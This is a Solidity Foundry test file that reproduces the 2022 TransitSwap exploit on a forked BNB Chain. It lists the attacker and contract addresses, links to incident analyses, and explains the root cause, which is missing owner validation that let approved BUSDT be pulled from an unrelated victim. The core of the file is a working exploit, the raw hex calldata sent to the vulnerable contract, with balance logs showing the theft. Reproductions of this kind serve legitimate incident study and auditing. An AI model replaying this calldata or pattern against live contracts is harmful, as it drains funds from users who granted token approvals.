src/test/2022-10/TransitSwap_exp.sol

1// SPDX-License-Identifier: GPL-3.0
2pragma solidity ^0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7// @KeyInfo - Total Lost : over $21 Million
8// Attacker : 0x5f0b31AA37Bce387a8b21554a8360C6B8698FbEF
9// Attack Contract : https://bscscan.com/address/0x8CA8fD9C7641849A14CbF72FaF05c305B0c68a34
10// Vulnerable Contract : https://bscscan.com/address/0x8785bb8deAE13783b24D7aFE250d42eA7D7e9d72
11// Attack Tx : https://bscscan.com/tx/0x181a7882aac0eab1036eedba25bc95a16e10f61b5df2e99d240a16c334b9b189
12 
13// @Info
14// Vulnerable Contract Code : https://bscscan.com/address/0x8785bb8deAE13783b24D7aFE250d42eA7D7e9d72 (unverified)
15 
16// @Analysis
17// Twitter TransitFinance : https://twitter.com/TransitFinance/status/1576463550557483008
18// Twitter SunSec : https://twitter.com/1nf0s3cpt/status/1576511552592543745
19// Twitter BeosinAlert : https://twitter.com/BeosinAlert/status/1576387705076084736
20// Article Numencyber : https://www.numencyber.com/transit-swap-hack-analysis/
21// Article QuillAudits : https://quillaudits.medium.com/transit-finance-28-9m-exploit-analysis-quillaudits-5d8228956102
22// Article SharkTeam : https://medium.com/@sharkteam/approval-and-verification-vulnerability-analysis-of-transitswap-security-incident-89cfe999a1ef
23// Article Immunebytes : https://www.immunebytes.com/blog/transit-swap-exploit-oct-2-2022-detailed-analysis/
24 
25/*
26    Attack steps: It's simple, but you need to study past transactions to know how to combine the call data.
27    1. Incorrect owner address validation, you can input any innocent user who granted approvals to "0xed1afc8c4604958c2f38a3408fa63b32e737c428" before.
28    In this case 0x1aae0303f795b6fcb185ea9526aa0549963319fc is a innocent user who has BUSD and granted approvals.
29    
30    2. Contract "0xed1afc8c4604958c2f38a3408fa63b32e737c428" will perform `transferFrom()` to transfer amount of innocent user to attacker.
31    That's it.
32 
33    Root cause: Incorrect owner address validation. 
34 
35    Contract:
36    TransitSwap: 0x8785bb8deae13783b24d7afe250d42ea7d7e9d72
37    Bridge: 0x0B47275E0Fe7D5054373778960c99FD24F59ff52
38    Claimtokens: 0xed1afc8c4604958c2f38a3408fa63b32e737c428
39*/
40 
41contract ContractTest is Test {
42    address constant TRANSIT_SWAP = 0x8785bb8deAE13783b24D7aFE250d42eA7D7e9d72;
43    IERC20 constant BUSDT_TOKEN = IERC20(0x55d398326f99059fF775485246999027B3197955); // Binance USDT
44 
45    function setUp() public {
46        vm.createSelectFork("bsc", 21_816_545);
47        // Adding labels to improve stack traces' readability
48        vm.label(TRANSIT_SWAP, "TRANSIT_SWAP");
49        vm.label(address(BUSDT_TOKEN), "BUSDT_TOKEN");
50        vm.label(0x0B47275E0Fe7D5054373778960c99FD24F59ff52, "EXPLOIT_AUX_CONTRACT");
51        vm.label(0xeD1afC8C4604958C2F38a3408FA63B32E737c428, "EXPLOIT_AUX_CONTRACT_2");
52        vm.label(0x1aAe0303f795b6FCb185ea9526Aa0549963319Fc, "VICTIM_EXAMPLE");
53    }
54 
55    function testExploit() public {
56        emit log_named_decimal_uint(
57            "[Start] Attacker USDT balance before exploit", BUSDT_TOKEN.balanceOf(address(this)), 18
58        );
59 
60        (bool success,) = TRANSIT_SWAP.call(
61            hex"006de4df0000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000001c000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002170ed0880ac9a755fd29b2688956bd959f933f8000000000000000000000000a1137fe0cc191c11859c1d6fb81ae343d70cc17100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002707f79951b87b5400000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000012000000000000000000000000000000000000000000000000000000000000000380000000000000000000000000000000000000000000000000000000000000007616e64726f69640000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001c0000000000000000000000000ed1afc8c4604958c2f38a3408fa63b32e737c4280000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000000000000e00000000000000000000000000000000000000000000000000000000000000007616e64726f69640000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a40a5ea46600000000000000000000000055d398326f99059ff775485246999027b31979550000000000000000000000001aae0303f795b6fcb185ea9526aa0549963319fc0000000000000000000000007FA9385bE102ac3EAc297483Dd6233D62b3e149600000000000000000000000000000000000000000000015638842fa55808c0af00000000000000000000000000000000000000000000000000000000000077c800000000000000000000000000000000000000000000000000000000"
62        );
63        require(success, "Exploit failed");
64 
65        emit log_named_decimal_uint(
66            "[End] Attacker USDT balance after exploit", BUSDT_TOKEN.balanceOf(address(this)), 18
67        );
68    }
69}